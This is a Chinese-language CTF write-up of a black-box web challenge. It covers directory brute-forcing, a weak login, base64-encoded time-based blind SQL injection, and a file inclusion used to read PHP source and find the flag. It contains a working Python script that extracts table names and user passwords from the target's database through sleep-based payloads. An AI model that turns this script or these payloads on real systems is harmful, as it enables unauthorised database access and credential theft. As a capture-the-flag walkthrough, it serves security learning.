某平台一道ctf题

某平台一道ctf题

说是ctf题，其实还是更倾向于黑盒渗透的思路

目录

• 信息收集
• sql注入
• 编写exp
• 文件包含
• 代码审计
• 总结

信息收集

打开页面只有一个孤零零的403，只爆破出了info.php，phpinfo内容，以及存在/static和/user目录

这里没其他思路，继续爆后台了，这里一开始拿我所有的字典都没爆破出来，又找了好几个，干出来一个Login.php

发现是一个登陆页面，因为用户名输入正确时会返回密码错误，用户名输入错误时会返回无此用户，在这里测试了很久布尔盲注，以及其他各类注入发现还是不行

又一直爆破，发现有test/test123的弱口令问题，这里有一个小坑，我的火狐在登陆成功后不会跳转，抓包看了下来源登陆页面，或者chrome就不会有这个问题

登陆

sql注入

测试各个点，最终，手动输入参数aid=3

转到

在这里发现id进行了base64，这里还是比较可疑，通过不断地测试最终发现id可以进行时间盲注，这里坑点是一开始编写exp，没带入cookie导致一直无法注出内容

编写exp

# coding:utf-8
import requests
import datetime
import time
import base64
cookie = {
'PHPSESSID':'8qc5nhbrbtghgj6ck7f4c4gje1'
}
name = ''
for j in range(1, 30):
    for i in range(1,128):
        url = 'http://121.37.189.111:8005/user/Article.php?aid=3&id='
        #payload = "1 and if(substr(database(),{},1)='{}',sleep(3),1)#".format(j, i)  #level2
        #payload = "1 and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'level2'),{},1)='{}',sleep(3),1)#".format(j,i)  #article,user
        #payload = "1 and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'user'),{},1)='{}',sleep(3),1)#".format(j,i) #id,uid,text,title,s    id,username,password
        payload = "1 and if(substr((select group_concat(password) from user),{},1)='{}',sleep(3),1)#".format(j,chr(i))      #admin,test,wanglin,      
        print(payload)
        payload = payload.encode()
        payload = base64.b64encode(payload)
        payload = str(payload,'utf-8')
        print(url+payload)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload,cookies=cookie)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec > 3:
            name += chr(i)
            print(name)
            break
    print('name:', name)

爆出最终密码，此处省略

登陆

查看源码发现此处读取图片的地方很可能会有文件包含漏洞

文件包含

确实存在文件包含，利用此漏洞先读取此文件Home.php源代码

//Home.php
<?php
error_reporting(0);
require_once("../static/header.html");
require_once("Base.php");

$user = isUser();
if($user=="user"){
    echo "<h2>hello ".$_SESSION['username']."</h2><br>";
    echo "我没有secret，但我有一颗...的心=。=";
    echo "<br>我的记录：<br>";
}else if($user=="admin"){
    echo "hello ".$_SESSION['adminname'];
    echo "<br>我有个secret，是我最珍视的宝物，我就把它藏在附近！";
    echo "<img src=Read.php?filename=1605259009017.jpg width='50' height='50'>";
    echo "<br>我的记录：<br>";
}

require_once("Article.php");
?>

发现包含了Base.php，继续读取

//Base.php
<?php

function isUser()
{
    session_start();
    //判断用户是否登陆
    if ($_SESSION['adminname'] != "") {
        return "admin";
    }else if($_SESSION['username'] != ""){
        return "user";
    }else {
        header('content-type:text/html;charset=uft-8');
        header('location:../Login.php');
        exit();
    }
}


//关于邀请码：
#include("meifahufujiulaimingdu.php");

发现hint，包含了meifahufujiulaimingdu.php继续读

//meifahufujiulaimingdu.php
<?php
 #关于邀请码，嗯，一目了然。
require_once("Base.php");
error_reporting(0);
//$user = isUser();

 $url = "http://172.17.0.1:3000/code";
 $email = "";

function send_post( $url , $post_data ) {

    $postdata = http_build_query( $post_data );
    $options = array (
        'http' => array (
            'method' => 'POST' ,
            'header' => 'Content-type:application/x-www-form-urlencoded' ,
            'content' => $postdata ,
            'timeout' => 15 * 60
        )
    );
    $context = stream_context_create( $options );
    $result = file_get_contents ( $url , false, $context );

    return $result ;
}

$post_data = array (
    'e' => $_POST['email']
);
echo send_post( $url , $post_data );


#ps:建团？什么建团？  啊，哦，那个啊，我记得小姐把它扔到static下面去了，有心的话，去那儿找找吧。

代码审计

这里file_get_contents本来应该可以读/code目录下的内容，但是访问没有，应该是扒了道题下来，没有删。看hint扔到static下面，正好记得之前有static目录，测试发现PHP文件得到flag

总结

黑盒测试与ctf不同的就是，其实实际难度可能不大（技术侧面），本题也无waf，直接时间盲注即可。